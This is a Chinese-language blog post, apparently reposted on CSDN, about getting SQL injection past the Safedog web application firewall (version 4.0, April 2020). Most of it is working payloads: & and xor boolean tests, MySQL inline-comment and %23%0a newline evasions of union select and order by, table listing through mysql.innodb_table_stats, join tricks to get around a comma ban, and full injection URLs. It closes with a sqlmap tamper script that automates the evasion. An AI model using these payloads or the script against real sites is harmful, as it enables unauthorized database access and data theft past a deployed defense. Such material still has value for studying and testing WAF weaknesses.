【绕WAF系列】免费狗2020年4月份 4.0最新版本绕过姿势


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

免费狗2020年4月份 4.0最新版本绕过姿势

0x01 绕狗

1)and 1=1 拦截绕过

2)Xor 同价,也可以绕过

3)截取字符串绕过

4)order by 绕过

5)union select 绕过

6)绕过系统函数

0x02 总结


      本文是朋友所写,帮忙转发。

      还有,本次搭建的环境第一关,好像有点问题,大家可以使用其它环境来尝试,我们这里尝试的就是看看狗能不能绕过

免费狗2020年4月份 4.0最新版本绕过姿势

0x01 绕狗

加单引号 ,狗不拦截

1)and 1=1 拦截绕过

使用 %26%26 True 和 %26%26 False

%26=& 

&=and

使用Xor True 和 Xor False 也不拦

使用 & 符号绕过

'&1--+ 用&号来替代and 来判断,发现页面返回正常

'%262--+,页面回显不正常

或'%260--+

'%26true--+

'%26false--+

' and -7=-7--+

' and -7=-5--+

内敛注释:

' and /*!1=1*/--+

' and /*!1=2*/--+

2)Xor 同价,也可以绕过

'Xor 1--+

'Xor 0--+

'Xor true--+

'Xor false--+

3)截取字符串绕过

'xor(length(database/**/())=7)--+

'xor(length(database/**/())=8)--+

'%26(length(database/**/())=8)--+

'%26(length(database/**/())=7)--+

通过BurpSuite 快速注入

放到intruder 模块

清除标记

添加标记变量

for i in range(1,3000) :
    print(i)

Load 添加生成的字典

根据返回的不同字段长度判断

看到返回是53

'%26(ascii(@@version)=53)--+

4)order by 绕过

' order order by 1--+

' order%23%0aby  1--+

内敛注释加注释绕过:

' /*!order/*!/*/**/by*/ 1--+

' /*!11440order*/ by   1--+

5)union select 绕过

' union select database()--+

'/*!union/*!/*/**/*/select/**/1,2,3--+

'/*!union/*!/*/**/*//*!select/*!/*/**/*/1,2,3--+

'/*!11440union*//*!11440select*/1,2,3--+

6)绕过系统函数

'/*!11440union*//*!11440select*/1,2,database()--+

'/*!11440union*//*!11440select*/1,2,database%23%0a()

'/*!11440union*//*!11440select*/1,2,(/*!11440select*//**//*!database*/%23%0a())--+

'/*!11440union*//*!11440select*/1,2,(/*!11440select*//**//*!database*/%0a())--+

'/*!11440union*//*!11440select*/1,2,database()--+

空格、%0a~%20 类似绕过空格、注释符、内敛注释 已无法绕过

 

'/*!11440union*//*!11440select*/1,2,database ()--+

'/*!11440union*//*!11440select*/1,2,database%23%0a()--+
... ...
'/*!11440union*//*!11440select*/1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

'/*!11440union*//*!11440select*/1,2,group_concat(table_name) from information_schema.tables where table_schema=database%23%0a()--+

      Mysql>5.6.xmysql 库里增添了两个新表,innodb_index_stats 和 innodb_table_stats 这两个表是数据库自动设置的。存储数据库和对应的数据表。安全狗没有对这两个表检测

      Mysql 开发团队在 5.5.x 版本后将 innodb 作为数据库的默认引擎。

      Mysql>5.6.x mysql 库里增添了两个新表,innodb_index_stats 和 innodb_table_stats 这两个表是数据库自动设置的。存储数据库和对应的数据表。

以下内容来自:

http://www.cl4y.top/information%e8%a2%abban%e7%9a%84%e6%83%85%e5%86%b5%e4%b8%8b%e8%bf%9b%e8%a1%8csql%e6%b3%a8%e5%85%a5/

查看两个表的内容

      这两个表是用于记录更改和新创建的数据库和表的信息,但准确的说是保存最近的数据库变动记录这里主要用到的是                    innodb_table_stats这个表,利用方式: 查库名

查库名
 

select database_name from mysql.innodb_table_stats group by database_name;

查表名
 

select table_name from mysql.innodb_table_stats where database_name=database();

      但是因为数据库中并没有字段名,所以无法查询字段,接下来将以下如何在不知道列名的情况下,获取数据:

     

在不知道字段名(列名)的情况下进行sql注入

新建一个表

将列名转换为任何可选的已知值,可以用SQL将其转换为:
 

select 1,2,3 union select * from user;

通过别名,引用列名:

select `2` from (select 1,2,3 union select * from user)x;

最后查询到所有数据:

select group_concat(`2`) from (select 1,2,3 union select * from user)x;

还ban掉了逗号,所以这里用join绕过:

join 以及from for 绕过逗号

有这样一个表:

正常注入:

如果被ban掉逗号,这里用join绕过

select id,username,password from user union select * from ((select 1)a join (select 2)b join (select 3)c);

最终payload为:

--获取表名 
http://127.0.0.1/article.php?id=200'union/**/select * from ((select 1)A join (select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())B join (select 3)C join (select 4)D)%23 
--获取flag 
http://127.0.0.1/article.php?id=200'union/**/select * from ((select 1)A join (select group_concat(`3`) from (select * from (select 1)A join (select 2)B join (select 3)C union/**/select * from `fl111aa44a99g`)a)B join (select 3)C join (select 4)D)%23

0x02 总结

以下内容来自先知文章,以上有些Payload 可以按照自己的需求更改,我懒,我就不改了。

有几个万能绕过的payload:

      狗会正则想要ban掉的字符,比如如果将一个参数分割之后union select两个单词顺序出现就会ban掉,这里就利用正则的缺陷,让union或select不能单独分离出来,就可以绕过,比如这几个payload:

#针对两个关键字连用或者函数

/*!union/*!/*/**/*/select/**/

/*!database/*!/*/**/*/()/**/

/*!order/*!/*/**/*/by/**/

#针对单独的一个关键字

/*!union/*!/*/**/*/

/*!updatexml/*!/*/**/*/

/*!extractvalue/*!/*/**/*/

最后附上tamper脚本:

#!/usr/bin/env python
# -*- coding: UTF-8 -*-


from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOWEST


def dependencies():
    pass

def tamper(payload, **kwargs):



    if payload:
        payload=payload.replace("=","/*!*/=/*!*/")
        payload=payload.replace("ORDER","/*!ORDER/*!/*/**/*/")
        payload=payload.replace("AND","/*!AND/*!/*/**/*/")
        payload=payload.replace("OR","/*!OR/*!/*/**/*/")
        payload=payload.replace("UNION","/*!UNION/*!/*/**/*/")
        payload=payload.replace("SELECT","/*!SELECT/*!/*/**/*/")
        payload=payload.replace("USER()","/*!USER/*!/*/**/*/()/**/")
        payload=payload.replace("DATABASE()","/*!DATABASE/*!/*/**/*/()/**/")
        payload=payload.replace("VERSION()","/*!VERSION/*!/*/**/*/()/**/")
        payload=payload.replace("SESSION_USER()","/*!SESSION_USER/*!/*/**/*/()/**/")
        payload=payload.replace("EXTRACTVALUE","/*!EXTRACTVALUE/*!/*/**/*/()/**/")
        payload=payload.replace("UPDATEXML","/*!UPDATEXML/*!/*/**/*/")

    return payload

参考链接:

                https://xz.aliyun.com/t/7449

               


虽然我们生活在阴沟里,但依然有人仰望星空!


发布了193 篇原创文章 · 获赞 119 · 访问量 12万+

猜你喜欢

转载自blog.csdn.net/God_XiangYu/article/details/105480259